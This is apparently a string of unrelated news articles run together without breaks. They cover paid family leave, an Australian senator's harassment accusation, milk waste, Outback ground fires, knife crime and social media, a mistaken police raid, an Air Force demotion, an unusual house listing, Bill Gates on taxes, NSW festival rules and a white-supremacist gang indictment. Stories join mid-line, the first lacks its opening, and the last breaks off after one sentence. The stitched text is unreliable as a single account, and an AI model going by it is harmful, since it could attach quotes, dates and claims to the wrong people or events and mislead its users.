The idea of establishing a paid leave program that's managed by the federal government received a line of support last Tuesday in his speech to a Joint Session of Congress.

'I am also proud to be the first President to include in my budget a plan for nationwide paid family leave -- so that every new parent has the chance to bond with their newborn child,' he said. 'There could be no greater contrast to the beautiful image of a mother holding her infant child than the chilling displays our Nation saw in recent days.'

Sen. Cassidy, a Louisiana Republican, subsequently tweeted: 'I am working with the White House to develop a sustainable paid family leave plan that will give parents the flexibility they need to raise a family.'

Cassidy chaired a hearing in July of 2018 that studied the issue of paid leave for new parents.

Florida's Rubio, Utah's Lee and Sen. Deb Fischer of Nebraska have also put forward proposals to address the financial hardship that new parents face when they have to take off work several weeks for the birth or adoption of a child.

Fischer successfully got a tax credit included in the GOP Tax Cuts and Jobs Act for companies that voluntarily adopt paid leave programs.

Republicans and Democrats in Congress, as well as the White House, are seeking to do more.

In a statement Tuesday, Ivanka Trump acknowledged the senator's efforts and said, 'Its encouraging to see members on both sides of the aisle putting forward paid family leave proposals.

'Twenty-five years after FMLA was passed we finally have bipartisan agreement on the importance of paid leave for working parents,' she added.

The president's daughter has said in the past that she is open minded to the type of program the federal government passes, and she has met with lawmakers and political groups invested in the issue on both sides of the aisle.

Democrats introduced a paid family leave proposal on Tuesday that had 134 co-sponsors in the House and the support of 34 members of the Senate.

Congresswoman Rosa DeLauro and Sen. Kirsten Gillibrand are spearheading the act that would provide partial coverage of a parent's wages for 12 weeks, at a rate of 66 percent, with a monthly cap of $4,000.

Their paid leave program is funded through a payroll tax on employers and employees that amounts to two-tenths of 1 percent each, or two cents for $10 in wages. They say the contribution comes out to about $4 a week total.

Like other entitlements, the coverage would be portable and it would follow workers to their next job, even that job is self-employment.

The proposal covers more than just child birth and adoptions -- it includes medical emergencies such as personal illness and time taken off to take care of sick family members.

'Losing several weeks worth of wages in order to care for an ill loved one or the birth of a childevents which many of us would need to take time off foris simply not an option. In fact, it would push many families over the financial edge,' DeLauro said of her party's proposal.

The White House said Tuesday that the Trump administration strongly supports a national paid family leave program, and that is why the president has pushed for one every time he has spoken to Congress.

It did not endorse a specific proposal.

Sen. Rubio introduced a plan last year that would allow new and adoptive parents to cash in early on Social Security for at least two months.

His plan calculated that parents making the median income of $70,000 annually could have 70 percent of their wages covered using Social Security as their primary source of income.

'I welcome the discussion in Congress over paid family leave and I am committed to seeing this effort through,' he said in a Tuesday evening statement on his upcoming meeting with Ivanka Trump and GOP senators. 'Too many new parents, especially those with low incomes, take on new debt or fall onto welfare programs just to pay for their basic living costs after having a child.'

Rubio introduced paid leave legislation that relied on the Social Security payments with Republican Congresswoman Ann Wagner last legislative session.One Nation leader Pauline Hanson has accused a married senator of sexually harassing multiple staff members.

Senator Hanson made the claims in the Senate on Tuesday night and alleged that the man used taxpayers' money to silence his victims.

She did not name the senator.

'This gutless wonder we call senator should tonight hang his head in shame,' she said.

'This same senator has also forced the Australian taxpayer to pay out other previous unfair dismissal cases during his term.

One National leader Pauline Hanson (pictured) has accused a married senator of sexually harassing multiple staff members

'Each of those people has been gagged from speaking publicly about their experience, and I respect the decision they have made to accept those terms and remain silent.'

A fired-up Senator Hanson made use of her parliamentary privileges to level the accusations at the man, who she claimed made the passes at women during this term of parliament.

While she did not name-drop, Senator Hanson said an investigation had already been launched into the matter.

'What senators in this place need to understand is that our staff are no different to us,'she said.

'Just because you wear the red pin doesnt give you permission to place your unwanted hands or lips on your staff.'

Senator Hanson partly pinned the blame on parliament and its allowance on 'gag orders'.

'But what is disappointing is that this parliament has allowed the horrible treatment of staff to continue without this senator being forced to go through some form of training to prevent the poor treatment of his employees,' she said.Millions of pints of milk are being thrown away unnecessarily because of overly cautious use-by dates, food waste campaigners say.

They say a study shows that supermarket milk can be perfectly safe to drink up to seven days after the official use-by date.

The study was commissioned by the environmental campaign group Feedback, which argues that people are throwing away huge amounts of milk without good reason.

The organisation said some 80million pints of milk are being poured down the sink every year because they have gone past the use-by date.

A study, commissioned by the environmental campaign group Feedback, has found that some 80million pints of milk are being poured down the sink every year

It argues that this could be cut by 30million by adding just one day to the official use-by period.

But it is calling on supermarkets to extend the time period that milk is considered safe by as much as three days.

The testing was carried out at the University of Chesters NoWFOOD Centre using milk from Tesco, Asda, Sainsburys and Morrisons.

Feedback said it could help to replace the use-by date system with something else for milk and leave it up to people to decide for themselves when it is safe to drink.

In countries such as Norway and Denmark milk is labelled with a best before date to discourage unnecessary waste.

While most people can smell if milk is off, other bugs, such as listeria, can multiply without creating any obvious signs.

Consequently, retailers and food watchdogs argue that it is important to abide by date labels on fresh food.

Supermarkets argue that such labelling needs to take account of variables such as milk spending a lot of time out of a fridge, or fridge temperatures being set too high.

But Feedback argues that with the buffer for milk stored in optimum conditions as high as seven days, a more realistic approach which aims to cut waste could be adopted.

This may include giving better guidance on labels about storage, including the recommended fridge temperature, based on the general rule that they should be no higher than 4C (39F).

Carina Millstone, executive director of Feedback, said: We knew from experience that milk frequently outlives its use-by date by quite some time.

Now our testing of use-by dates has revealed the excess of caution which is driving UK households to pour countless pints of milk down the drain.

By extending use-by dates by three or more days, and providing very clear guidance on fridge temperatures and other storage best practice, supermarkets can use their enormous market power for less waste.

Currently, the nation is throwing out some 10.2million tonnes of good food a year with an estimated value of 20billion  300 per person, according to the waste charity WRAP.

Dr Judith Bryans, chief executive of industry trade body Dairy UK, said: Use-by dates on products such as milk are there to protect consumers and are backed by robust scientific evidence which determines the appropriate life span of a product.

The dairy industry works hard to identify all solutions for reducing food waste, without compromising the safety and quality of its products.

...and we bin 1.2bn crusts

Fussy eaters are throwing away 1.2billion bread crusts each year and fuelling a food waste mountain, it is claimed.

One in five households automatically bin the crusts at the end of the loaf, wasting perfectly good food worth nearly 62million a year, a study found.

Research by the North London Waste Authority estimates that the equivalent of 59million loaves are being thrown away each year in terms of crusts alone

Food waste experts say there are lots of ways to use the crusts, such as turning them into a breadcrumb coating, making stuffing or baking a bread and butter pudding.

Research by the North London Waste Authority, which has launched a Save a Crust campaign, estimates that the equivalent of 59million loaves are being thrown away each year in terms of crusts alone.

Ben Elliot, appointed by the Government as the first Food Surplus and Waste Champion, backed the campaign.

Save a Crust is a fantastic step forward and we should all try to reduce the amount of bread we throw away, he said.

Eating the last couple of slices and using the crusts is a great way individuals can cut their food waste.The unrelenting heatwave which has seen temperatures soar across the country has been particularly fierce in the Outback.

And while droughts and fires have ravaged several states, the heat has reached new levels in the Northern Territory where footage has emerged of smoke billowing from the ground due to spontaneous combustion.

Mount Denison Station grazier Dianne Martin, who first spotted smoke snaking from the stockyards, was shocked by the extraordinary phenomenon.

Mt Denison Station grazier Dianne Martin first spotted smoke rising from the ground

'We saw the smoke and went to have a look and there's this burnt ring on the ground and it's smouldering around the edges,' she said.

'We doused it with water, but then later that afternoon it started in another spot. We let it be to see what would happen.'

'Since then there's now another 10 or so spots that have started up and they're slowly spreading.'

Closer inspection revealed a burnt ring with smouldering edges

Over the day the smoke spread to 10 or so spots across the stockyards

Dianne revealed that a thermometer was destroyed through heat while trying to determine the soil temperature.

'We stuck a thermometer in - we could only dig down about 2 inches and it read about 200 degrees celsius within 30 seconds, and then it just melted the glass.'

The smoke was likely to be a result of spontaneous combustion of decomposed manure, Joshua Fischer, Senior Fire Control Officer at NT Bushfires Alice Springs, told Daily Mail Australia.Sajid Javid said it was time for a legal crackdown on social media images promoting gang culture

Web giants will face tough new laws to prevent the spread of knife crime, the Home Secretary warned yesterday  as he spoke of fears for his own childrens safety.

Sajid Javid said it was time for a legal crackdown on social media images promoting gang culture, in the same way that child sex abuse images and terrorist propaganda have already been outlawed.

In a warning to online firms, he said: My message to these companies is we are going to legislate and how far we go depends on what you decide to do now. At the moment we dont have the legislation for these types of [knife crime-related] content.

I have it for terrorist content and child sexual abuse images.

Google is among several firms which have been criticised for hosting content glamorising gang culture. Rappers using its YouTube video platform post so-called drill music videos to boast about the number of people they have stabbed or shot, using street terms.

The platform has been forced to take down dozens of videos by drill artists, after warnings from the Metropolitan Police that they were raising the risk of violence.

Speaking to BBC Radio 1 yesterday, Mr Javid confessed that things have become so bad he has stayed up into the early hours because he was concerned about what might happen to his own children. I do worry about my children, he said. My eldest daughter has started going out more than she used to.

Rappers using YouTube post so-called drill music videos to boast about the number of people they have stabbed or shot, using street terms

But I do worry, and there are some nights that Ive stayed up into the early hours waiting for her to get back home.

Figures released last month showed knife crimes soared 8 per cent to 39,919  or 110 a day  in the 12 months to September. Separate official data published last week said the number of people stabbed to death on our streets has hit its highest level since records began in 1946  with 285 fatal stabbings in England and Wales in the year to March 2018, up from 212 the previous year.

Yesterday, a former gang member  identified only as Robert  told Radio 1 he has no doubt about the link between drill music and knife crime.

I believe stricter measures do need to be put in place so people cannot release footage of people calling people out, bragging about knife crime and violence, he told the stations Newsbeat programme. In London its normal. Its just one of those things: You wake up, have breakfast, you stab someone.

Mr Javid told the programme that the way the web giants have tackled child porn and terror content shows that they can clean up their platforms.

A couple of years back the internet companies were not taking it seriously enough to remove this content, he said.

I went over to the US and spoke to five tech giants and said you need to do more.They are doing an incredible job today and what I want to see is the same emphasis to that [knife crime] content.A musician has been left with a huge damage bill after police busted down the doors of his home searching for a cannabis farm, only to find an elaborate computer room.

Rob Butvila arrived back at his home in Smithfield Plains, Adelaide, on Monday to find a calling card from police informing them his home had been raided.

He recorded the aftermath of the raid, claiming police kicked his door in and cut his locks after acting on a tip-off from a suspicious neighbour.

Police officers expecting to uncover a covert drug den were instead met with a room full of computers used for cryptocurrency mining along with a ventilation system.

Rob Butvila recorded the aftermath of when South Australia Police busted his house on Monday

Mr Butvila found a calling card on his front door informing him that police had entered his property and saw they had 'kicked my door in and cut my locks'

SAPOL entered Mr Butvila's property only to find a room full of computers for cryptocurrency that requires a ventilation system

What is cryptocurrency mining Cryptocurrency is a digital currency in which encryption techniques are used to regulate the generation of units of currency and verify the transfer of funds, operating independently of a central bank.

Cryptocurrency mining is where you fire up your computer, download a computer program and let it run of hours on end for years and that will earn you bitcoins.

Additional bitcoins have to be generated through a computational process called mining.

You set up your computer hardware to calculate complex mathematical equations.

The way bitcoins are mined is by solving complex computational problems. Advertisement

SAPOL told Mr Butvila they received a information from a member of the public who made a Crime Stoppers report 'advising of a fan in the window solar pannels on the roof, and a male (me) coming and going at night.'

The frustrated musician claims he has tried to speak to police for an explanation about why his home was targeted

Still trying to wrap his head around what happened, Mr Butvila says the police continue to hang up on him when he tries to figure out the issue.

'You refuse to answer any questions and hang up on me!!!!! for what, because you thought a computer was a grow room or something???!' he alleged in a Facebook post.

'You could have just looked in the window instead of causing damage!

In a YouTube video, Mr Butvila claimed police refused to discuss the damage bill.

'SAPOL used brutal and destructive force, kicking in doors  to find cryptocurrency mining computers where they expected to find a marijuana grow room,' he wrote.

'They hung up when questioned about who pays the damages.

'No apology, not even so much as a phone call.'

'SAPOL used brutal and destructive force, kicking in doors  to find cryptocurrency mining computers where they expected to find a marijuana grow room,' he wrote

Mr Butvila told The Advertiser he was in the process of renovating his home and police became suspicious when they saw solar panels, security cameras and a ventilation fan in the window of the house.

'The fan was to cool the cryptocurrency computer and the person coming in at night was me because I was doing the place up,' he said.

'To make things worse they left the place wide open and a hard drive is now missing and the security camera cable has been cut.

'It would be at least $1000 damage.'

An SA Police spokeswoman said no offences were detected during the search.

'Information was left for the owner to contact police,' the spokeswoman said.

'For operational reasons, police do not give prior notice of the intention to execute search warrants. Police always try to minimise any damage caused during operations.'

He is now considering legal action against SAPOL.The first female pilot to command a United State's Air Force performance team has been relieved of duty just two weeks into the role.

The Air Force said that Captain Zoe 'SiS' Kotnik was removed from her position as commander on Tuesday by Colonel Derek O'Malley due to a 'loss of confidence in her ability to lead' the F-16 Viper Demonstration team.

Officials did not provide details on what led to her removal, but Colonel O'Malley claimed she had made 'mistakes.'

Captain. Zoe 'SiS' Kotnik (pictured) was removed from her role as pilot and commander of the Air Combat Commands F-16 Viper Demonstration Team

Kotnik previously said she hoped her new title would help influence younger generations who came after her at the academy

In a statement on Facebook, Colonel O'Malley, the 20th Fighter Wing Commander, said: 'We have thousands of Airmen across our Air Force serving our country, and not one of them is perfect.

'As good people, like Capt. Kotnik make mistakes, I want them to have the opportunity to learn from them without being under public scrutiny, and to continue to be a part of this great service.

'This will be a difficult time for Capt Kotnik, but she's surrounded by wingmen [who] will help her every step of the way.'

He claimed that he hoped Kotnik will continue to serve the Air Force despite the incident.

Captain Kotnik's predecessor Major John Waters has now resumed command of the team at Shaw Air Force Base in South Carolina.

Kotnik has eight years of military experience and flown more than 1,000 hours with the U.S. Air Force

The Viper team is one of four air performance teams under US Air Combat Command (ACC).

The demonstrations conducted by the team help with recruitment efforts, as well as demonstrating plane and pilot abilities at air shows and events to millions of spectators every year, according to the USAF.

Kotnik has a military background that includes eight years of service and more than 1,000 flying hours, according to the U.S Air Force.

Military.com reported that her first air show as commander had been scheduled for 30 March.

She will still serve in a non-supervisory role with the 20th Fighter Wing, according to Military.com.

Since graduating from the Air Force Academy in 2011, Kotnik went on to experience aerial performances for the U.S. Air Force.

She participated in a flyover of the U.S. Capitol in Washington D.C. during the January 2017 inauguration of President Donald Trump, according to WMTV.

In a statement at the time of her appointment last month, Kotnik said she hoped her new title would help influence younger generations who came after her at the academy.

Colonel Derek O'Malley (pictured) claimed he 'lost confidence' in Kotnik's ability to lead

Colonel O'Malley said he hoped Kotnik would continue to be 'part of this great service'

'What I'm looking forward to most is the potential to have an influence on younger generations,' Kotnik said in the news release.

'I know firsthand how impactful airshows can be and what a difference it makes to young people to see just one example of what they too can do and who they can become.

'I hope to be a source of inspiration and motivation they can draw from to apply in their own lives.'

The Viper team is one of four air performance teams under US Air Combat Command

The F16 Viper Demonstration Team also serves as a public relations tool for the military.

'These shows allow us to demonstrate the capabilities of the F-16 to a worldwide audience while highlighting the work of the Airmen who keep the Viper flying,' Master Sgt. Chris Schneider, F-16 Viper Demonstration Team superintendent said last month.

'It's not every day people get the chance to hear the sound of freedom roaring over their heads or watch a team of maintainers working together to make it happen.'

The team is currently in preseason training with the first demonstration scheduled in Key West, Florida, on March 30 and 31.Advertisement

It was the real estate listing heard around the world. An ordinary suburban Pennsylvania home that looked perfect for a family on the outside, with a secret fully-furnished sexual oasis in the basement.

The basement came complete with whips hanging on the walls, chains attached to the bed, and even a sex swing. Now the couple behind the home are revealing why they created the frisky feature.

Vince Marie and Priscilla Costa only began dating in August, five months after Marie lost his wife of 27 years to an aneurysm, after they met on eHarmony.com.

By the second date, Costa was telling Marie he was her soulmate. Soon the couple began planning the rest of their lives together, including moving from the small city of Ambler - population 6,521 - to bustling Philadelphia.

Vince Marie and Priscilla Costa are the couple behind the 'sexual oasis' real estate listing that made headlines last week

The ordinary suburban Pennsylvania home looked perfect for a family on the outside, but had a secret fully-furnished sexual oasis in the basement

The couple told PhillyVoice they decided to put the home on Airbnb until they were ready to list it on the market. But then they realized one very important question: 'Who the f**k would want to rent in Ambler?'

Marie and Costa began brainstorming a hook that would lure people to the sleepy suburb. That's when Costa recalled the 'love motels' of her native Brazil, where rooms are designed to serve as an escape for couples looking to have a steamy night.

After the couple had come up with their gimmick, they decided to do some research and began visiting sex clubs around the city to see what kind of toys and props their prospective renters would want from a sexual oasis.

'It's sexy. I never felt judged when we were there,' Costa, a wedding gown designer, said. 'They were so respectful. There's nothing forced. No one's touching you.'

The couple only began dating in August, but by the second date were calling each other soulmates. Soon they began planning the rest of their lives together, including moving from Marie's sprawling home in the small city of Ambler

The couple had met five months after Marie lost his wife to an aneurysm and began dating in August. Marie is pictured left and Costa, a wedding dress designer, is seen right

The couple told PhillyVoice they decided to put the home on Airbnb until they were ready to list it on the market, but wondered who would actually want to rent in the sleepy suburb. Then, they came up with the sexual oasis

'It was actually super fun because we learned so much and opened our minds even more.'

The couple then needed the right furniture, so they called on the expertise of Jan Maartensen, better known as the 'Bondage Builder' for the fetish furniture he makes in his Oregon home and sells on Etsy.

Maartensen built a bed, sex swing, and other fetish equipment for the couple, even personally delivering the new pieces to their home.

Costa and Marie, who runs a creative production agency, also bought wooden figurines from IKEA to 'serve as how-to guides', along with whips and chains.

The sexual oasis has remained intact since the house has gone up for sale for $750,000, although the listing promises it can also be 'converted back to a typical suburban basement'.

Costa was inspired by the 'love motels' of her native Brazil, where rooms are designed to serve as an escape for couples looking to have a steamy night

The home also boasts all the normal interior features, including five bedrooms, two bathrooms, a gym and a games room spread across 5,000 sq ft of space.

But of course it was the basement that caught the public's eye, with one of the hosts of The View calling people who would rent such a place 'freaks'.

Costa and Marie said they weren't happy with how their home was portrayed in the media.

'We live here. It's our home,' Costa said. 'It's a sexy place, but it's not dirty.'

'We wanted to offer a place where you can come and not be judged, to not feel fear,' Marie added. 'Maybe some people aren't comfortable going to a sex club, but they can come here and it can be anything they want it to be.'

After the couple had come up with their gimmick, they decided to do some research and began visiting sex clubs around the city to see what kind of toys and props their prospective renters would want from a sexual oasis

The couple then needed the right furniture, so they called on the expertise of Jan Maartensen, better known as the 'Bondage Builder' for the bondage and fetish furniture he makes in his Oregon home and sells on Etsy

'We don't judge, and we don't want you to judge others. Let people be the people who they are and not get into their business.'

Both of the couple's children, two each from separate marriages, have experienced teasing from the listing. Costa said she has suffered from 'slurs aligned with promiscuous sexual behavior', while others have told Marie he is dishonoring his late wife's memory.

'Everybody has their own healing process. Some people need more time than others,' Marie said. 'Everybody just deals with s**t differently. People questioning if I moved on too fast? How f*****g dare they.'

'Both of our lives have done a 180 this year. We put it all together in a way that worked for us,' added Costa, who is recently divorced. 'I think we're both very grateful.'

Maartensen built a bed, sex swing, and other fetish equipment for the couple, even personally delivering the new pieces to their home

Marie's home also boasts all the normal interior features, including five bedrooms, two bathrooms, a gym and a games room spread across 5,000 sq ft of space

While they've received a few harsh words, the couple's idea worked. They have received countless bookings for the home in recent weeks, including a music video and a photo shoot with models

And while they've received a few harsh words, the couple's idea worked. They have received countless bookings for the home in recent weeks, including a music video and a photo shoot. Dozens have also toured the home since it has gone up on the market.

Marie hopes he and Costa have inspired people not to judge others.

'We're not doing anything wrong,' he said. 'We have nothing to hide. We're unafraid. You can have f*****g fun if you choose to have f*****g fun. And we're having a f*****g blast.'

'We created a fantasy room and we love it,' Costa added. 'We laugh at life, we don't take it too seriously. People may judge us, but we don't care.'

Both of the couple's children, two each from separate marriages, have experienced teasing from the listing. Costa said she has suffered from 'slurs aligned with promiscuous sexual behavior'The world's second-richest man is taking shots at Rep. Alexandria Ocasio-Cortez's income tax plan, saying it wouldn't actually target the vast wealth of many of the nation's richest people.

Gates, who amassed a fortune by building Microsoft, noted that many very wealthy people's earnings subject to income taxes make up a tiny fraction of their overall wealth  a 'rounding error of ordinary income' as he put it.

'I believe US tax rates can be more progressive,' he said. 'Now, you finally have some politicians who are so extreme that Id say, No, thats even beyond. You start to create tax dodging and disincentives, and an incentive to have the income show up in other countries and things.'

'Certainly, the idea of government being more effective in terms of how it runs education or social programs, there's a lot of opportunity for improvement there,' Gates said in a podcast on The Verge website.

Billionaire Bill Gates pushed back against Rep. Alexandria Ocasio-Cortez's plan to to tax those earning $10 million or more. ''In terms of revenue collection, you wouldn't want to just focus on the ordinary income rate,' Gates said

'In terms of revenue collection, you wouldn't want to just focus on the ordinary income rate, because people who are wealthy have a rounding error of ordinary income.'

He noted that hedge funders and other wealthy people are able to structure their finances in such a way that ordinary income is only a part of the picture.

'They have income that just is the value of their stock, which if they don't sell it, it doesn't show up as income at all, or if it shows up, it shows over in the capital gains side,' he said, Fox News reported.

'Once you get to the tippie-tops, on your ten millionth dollar, sometimes you see tax rates as high as 60 percent or 70 percent,' Ocasio-Cortez said

Opinion polling has shown majority support for the idea

Sen. Elizabeth Warren, D-Mass., announced her own plan to tax $50 million households with a 2 per cent surcharge

Senator Bernie Sanders (I-Vt.) laid the groundwork for some of the proposals to tax the wealthy with his 2016 presidential campaign

'So the ability of hedge fund people, various people  they aren't paying that ordinary income rate,' he noted.

Gates, who along with his wife Melinda have become some of the world's leading philanthropists, allowed that the tax code could be made 'more progressive,' but didn't spell out exactly how.

'We can be more progressive without really threatening income generation  what you have left to decide how to spread around,' Gates said, noting the tradeoff that many economists point out.

Ocasio-Cortez's plan is just one of many emerging proposals to force the wealthy to pay more. Sen. Elizabeth Warren has proposed a 'wealth tax' that slaps a 2 per cent tax on households worth $50 or more, and 3 percent for those with a fortune worth $1 billion or more.

Gates pointed to analysis of the rate that top earners pay.

'The one thing that never gets much press  the IRS shows the statistics for the top 400 people of the highest income and the rate they pay. 'Anyway, you should look at that. It's about a 20 percent rate, so it has nothing to do with the 39.6 marginal ordinary income rate.'

'If you focus on that, you're missing the picture,' he said.

According to IRS statistics, the top 400 earners in 2014 paid a 23.13 per cent tax rate, earning $127 billion in total and paying $29.4 billion in taxes, the libertarian think tank American Enterprise Institute reported.

Ocasio-Cortez used an appearance on CBS '60 Minutes' to pitch her plan to tax double-digit millionaires at a 70 percent rate  taking care to note the amount below that threshold would be taxed at lower amounts.

'But once you get to the tippie-tops, on your ten millionth dollar, sometimes you see tax rates as high as 60 percent or 70 percent,' Ocasio-Cortez said. 'That doesn't mean all $10 million are taxed at an extremely high rate. But it means that as you climb up this ladder, you should be contributing more,' she said.

Bill and Melinda Gates referenced Ocasio-Cortez in their annual letter about their foundation.

They noted record gains by female lawmakers and praised Ocasio-Cortez for 'opening our government up' on Social Media.Music heavyweights are ramping up the fight against the New South Wales government crackdown on music festivals with DJ act Peking Duk now calling on voters to help.

Controversial new rules governing music festivals across New South Wales have forced a number of events to cancel because of the high costs associated with it.

The changes come after several drug-related deaths at festivals across the country.

Bluesfest in Bryon Bay was the latest casualty after the proposed legislation targeting 'high risk' events was announced.

Peking Duk (pictured) have called for a boycott against the Liberal party in NSW after a number of music festivals were forced to shut down

Just weeks out from the election, Peking Duk's Reuben Styles and Adam Hyde (pictured) are taking their battle to the voting polls and urging voters to back anyone but the Liberals

Director Peter Noble said the festival couldn't afford the extra hundreds of thousands of dollars for 2020 unless the government backed down.

Now, just weeks out from the election, Peking Duk's Reuben Styles and Adam Hyde are taking their battle to the voting polls.

After Mountain Sounds was cancelled a week out from the event, the pair have spoken out, urging voters to back anyone but the Liberals, Fairfax reported.

'Peking Duk is a band people should be able to love no matter your politics. But this is not picking a side. We haven't said who to vote for. We've just said no matter what, don't vote for these guys who are trying to destroy music,' Mr Styles said.

'Ironically, (Mountain Sounds) is one of the safest events in Australia. It doesn't make sense. Sadly, a few years ago when Mike Baird was premier, a lot of our favourite nightclubs around Sydney had to close. Gladys [Berejiklian] is furthering his work to destroy ... late-night economies.'

NSW Premier Gladys Berejiklian (pictured) has attracted criticism after the Mountain Sounds music festival was cancelled

The outspoken duo have made no attempt to hide their frustration over the proposed changes.

When the Mountain Sounds festival on the NSW Central Coast was canned they took to social media to call out NSW Premier Gladys Berejiklian and the Liberals.

'Gladys get your head out of the sand, your policies and viewpoints need a reality check,' they wrote.

'We don't force roads to close because of road fatalities, we don't ban alcohol due to (much higher) deaths from alcohol, we don't shut down casino's because of the trauma and grief they cause to the addicted. So why are you targeting music festivals like this? Why are you targeting the events that give so much back to the community?'

'Vote. Gladys & Liberal. Out.'

The passionate post quickly went viral, with over 10,000 shares by Tuesday morning.

Under new rules, organisers would face huge extra costs for bigger police presence and medical facilities, and bear liability for anyone who overdosed at the event

The regulations have been criticized as a 'knee-jerk reaction by other major players within the industry. Some have also slammed the regulations as appearing 'rushed' and without proper consultation

Live Performance Australia chief executive Evelyn Richardson has also hit back at the government, saying its risk management approach appeared to be designed to shut down festivals altogether.

The regulations have been called a 'knee-jerk reaction' by other major players within the industry.

Some have also slammed the government as the regulations seemed 'rushed' and without proper consultation.

The government's hard-line on festivals could see an influx of frustrated young voters step into the polling booths in March as a response.

A petition aimed at Ms Berejiklian has already gathered more than 10,000 signatures and a rally is planned in Sydney's Hyde Park on February 21.

Ms Berejiklian on Tuesday said festivals which have had deaths or serious injuries in the past will be deemed high risk and will have to improve safety standards

An open letter to Ms Berejiklian titled 'music lovers, your music is under attack' has called for the government convene a music roundtable to review regulation affecting live music.

'Overbearing regulation, exorbitant police bills, a lack of respect for NSW businesses, and very little recognition of the significant positive impacts of music on our communities is forcing music out of NSW,' the open letter read.

'The state government has declared a war on music and culture in NSW, proclaiming that music and music festivals are high-risk activities.'

The letter demands the government becomes more transparent on policing and medical bills, and works with the industry to keep festivals safe.

Among the list of signatories are dozens of festivals, including Download, Defqon.1, Psyfari, Groovin The Moo, Yours and Owls, Days Like This, Falls, Lost Paradise and Splendour in the Grass.

National and internationally-known musicians also feature on the list of signatures.

The letter comes after Ms Berejiklian on Tuesday said festivals which have had deaths or serious injuries in the past will be deemed high risk and will have to improve safety standards.

Festivals will be subject to a new licensing system and NSW Police, NSW Health and Liquor & Gaming NSW will work together to oversee festival preparations.

The new regime starts in March but interim measures are in place for summer festivals deemed high-risk.

Despite frequent pleas for pill testing to be legalised in NSW following five drug-related deaths at music festivals in recent months, the government has so far stood firm on the controversial issue.

Berejiklian has publicly stated there is 'no evidence' that testing works and for every expert who supports it, there are more who don't.Dozens of members of a white supremacist gang in Arkansas have been charged with operating a drug trafficking ring notorious for committing violent crimes including attempted murder, kidnapping and maiming.

An indictment unsealed in US District Court on Tuesday alleges that leaders of the New Aryan Empire oversaw and ordered numerous criminal acts in support of the organization and its drug operation.

Arrest warrants have been issued for 54 people under the 47-page, 32-count indictment, which ties NAE leadership to violent crimes committed by gang members.

The NAE began as a prison gang in the 1990s and leaders, referred to as the 'high elders', began recruiting members both inside and outside of prison. The indictment claims there is a 'high concentration' of members in Pope County and Russellville.

Federal and state officials spoke at a press conference in Little Rock on Tuesday and said they were optimistic that the years-long investigation has done 'significant damage' to NAE operations.

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More than 50 members of Arkansas white supremacist gang New Aryan Empire have been charged with operating a drug trafficking ring notorious for committing violent crimes including attempted murder, kidnapping and maiming, according to a federal indictment unsealed on Tuesday. A tattoo associated with the NAE is pictured above

Arrest warrants have been issued for 54 people under two indictments, the first filed in October 2017 and second on February 5 of this year. Federal and state officials, including US Attorney Cody Hiland (above), spoke at a press conference Tuesday and said they were optimistic that the three-year investigation and resulting indictment have done 'significant damage' to NAE operations

'According to the allegations in the indictment announced today, New Aryan Empire associates maintained their criminal enterprise by engaging in multiple acts of violence  including kidnapping and attempting to murder one informant, and stabbing and maiming two others suspected of cooperating with law enforcement,' Assistant Attorney General Brian A Benczkowski said in a press release from the Department of Justice.

The Justice Department's case against the NAE was dubbed 'To The Dirt,' invoking the group's slogan, which is based on the rule that members must remain in the NAE until they die.

The probe began in 2016 when the Bureau of Alcohol, Tobacco, Firearms, & Explosives (ATF) Little Rock District Office assisted the Pope County Sheriff's Office in investigating a murder involving members of the NAE.

The investigation revealed that members were conducting meetings in Pope County and were involved in methamphetamine distribution.

One of the defendants named in Tuesday's indictment is 29-year-old NAE President Wesley Gullett (above)

In October 2017, a grand jury handed down an indictment charging 44 people linked to the NAE in the Pope County area with numerous gun and drug violations, according to the press release.

Since that indictment, one defendant  Daniel Adame, 32, of Russellville, Arkansas  has pleaded guilty to conspiracy to distribute methamphetamine.

The latest indictment, which was returned by a federal grand jury on February 5, named 11 additional defendants and tacked on charges for attempted murder, kidnapping, maiming and conspiracy to distribute methamphetamine.

The indictment alleges that between May 2014 and May 2016, NAE associates Marcus Millsap, 51, and James Oliver, 47, as well as NAE President Wesley Gullett, 29, solicited several NAE members and associates to murder the confidential informant believed to be responsible for Millsap being charged with drug trafficking.

In January 2016, two known members of NAE attempted to murder the confidential informant, but were unsuccessful, the 2017 indictment alleged.

The superseding indictment further alleges that between May 28, 2017 and June 6, 2017, members and associates of NAE kidnapped, stabbed and maimed two individuals accused of providing information to law enforcement about another NAE member. During the kidnapping, the victims were forced to pen apology letters to the NAE member and his girlfriend.

The investigation coordinated by several state and federal law enforcement agencies was dubbed 'To The Dirt', invoking the group's slogan, which is based on the rule that members must remain in the NAE until they die. DEA Assistant Special Agent in Charge Justin King is seen speaking at Tuesday's press conference in Little Rock, Arkansas

Federal authorities have indicted 54 people in connection with a series of violent crimes committed by an Arkansas white supremacist group. Federal authorities have indicted 54 people in connection with a series of violent crimes committed by an Arkansas white supremacist group. Posted by KATV Channel 7 on Tuesday, 12 February 2019

According to the Tuesday DOJ release, 35 defendants are in either state or federal custody while 16 have been released on federal bond. Most of the defendants hail from Pope and Yell Counties.

Troy R Loadholt, 37; Jeffrey G. Howell, 34; and Amos Adame, 46, all from Russellville, remain fugitives.

April Howell, 29, and Amanda Rapp, 37, both of Russellville, and Courtney Talley, 32, of Dardanelle, Arkansas, were arrested Tuesday morning.

'The violence and hatred alleged in this superseding indictment have no place in society,' US Attorney Cody Hiland said in the press release.

'We are committed to helping our communities remain free from these types of crimes using every resource available, including the powerful RICO [Racketeer Influenced and Corrupt Organizations Act] statutes when appropriate.

'The significant charges in this case represent the hard work of our state and federal law enforcement agencies, and this offices commitment to removing violent, repeat offenders from the streets.'

Arkansas Department of Correction records from last month indicated that there are 233 inmates suspected NAE members in state prisons, the second highest for a white supremacist group.

State and federal law enforcement agencies also investigated the NAE's alleged drug trafficking ring. That probe included 59 controlled drug purchases and the subsequent seizure of more than 25 pounds of meth, as well as 69 firearms and more than $70,000 in drug proceeds.

Wesley S Gullett, 29, Kevin M Long, 23, Lesa A Standridge, 54, and Christopher S Helms, 35, are charged with being a felon in possession of a firearm.

DEA Assistant Special Agent in Charge Justin King said: 'Historically, Aryan gang members and associates are a source of drugs, violence, and crime throughout this region.

'Several members and associates of these gangs are charged in a RICO conspiracy as a result of law enforcement collaboration and a determined goal of making our communities safer from gang violence and drug trafficking.

'This effort, as part of Operation To The Dirt, is a promise to our citizens of the continued commitment of law enforcement at the federal, state and local levels to keep our streets safe.'Tinder lothario Gable Tostee, who was acquitted of killing a woman he met on the dating app, claims he was assaulted by a woman inside his parents' home.

